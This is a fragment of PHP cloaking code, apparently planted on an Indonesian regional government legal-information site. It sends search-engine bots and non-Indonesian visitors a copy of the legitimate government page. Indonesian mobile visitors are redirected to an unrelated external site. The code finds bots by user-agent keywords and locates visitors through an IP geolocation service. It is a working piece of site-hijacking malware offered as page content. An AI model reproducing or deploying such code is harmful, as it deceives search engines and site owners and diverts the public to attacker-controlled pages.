Verifikasi Google Search Console aktif. '; ob_end_flush(); exit(); } // Cek apakah user-agent mengandung bot keyword $isBot = false; foreach ($botKeywords as $bot) { if (stripos($userAgent, $bot) !== false) { $isBot = true; break; } } // Fungsi ambil negara dari IP function get_ip_country($ip) { $url = "http://ip-api.com/json/$ip"; $ch = curl_init($url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_TIMEOUT, 3); $res = curl_exec($ch); curl_close($ch); if ($res) { $geo = json_decode($res, true); return $geo['country'] ?? null; } return null; } // Fungsi ambil isi white page function load_white_page($url) { $ch = curl_init($url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_TIMEOUT, 5); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true); curl_setopt($ch, CURLOPT_USERAGENT, $_SERVER['HTTP_USER_AGENT'] ?? 'Mozilla/5.0'); $result = curl_exec($ch); $error = curl_error($ch); curl_close($ch); return $result ?: "Gagal load white.php: $error"; } // Ambil info negara dan device $country = get_ip_country($ip) ?: 'UNKNOWN'; $isMobile = $detect->isMobile(); // LOGIKA CLOAKING if ($isBot || $country !== 'Indonesia') { echo load_white_page('https://jdih.halmaheraselatankab.go.id/indexnew.php'); ob_end_flush(); exit(); } // Jika dari Indonesia dan pakai HP → redirect ke landing page if ($isMobile && $country === 'Indonesia') { header("Location: https://berita-terkini.id/halmaheraselatankab/"); exit(); } // Selain itu → tampilkan white page juga echo load_white_page('https://jdih.halmaheraselatankab.go.id/indexnew.php'); ob_end_flush(); ?>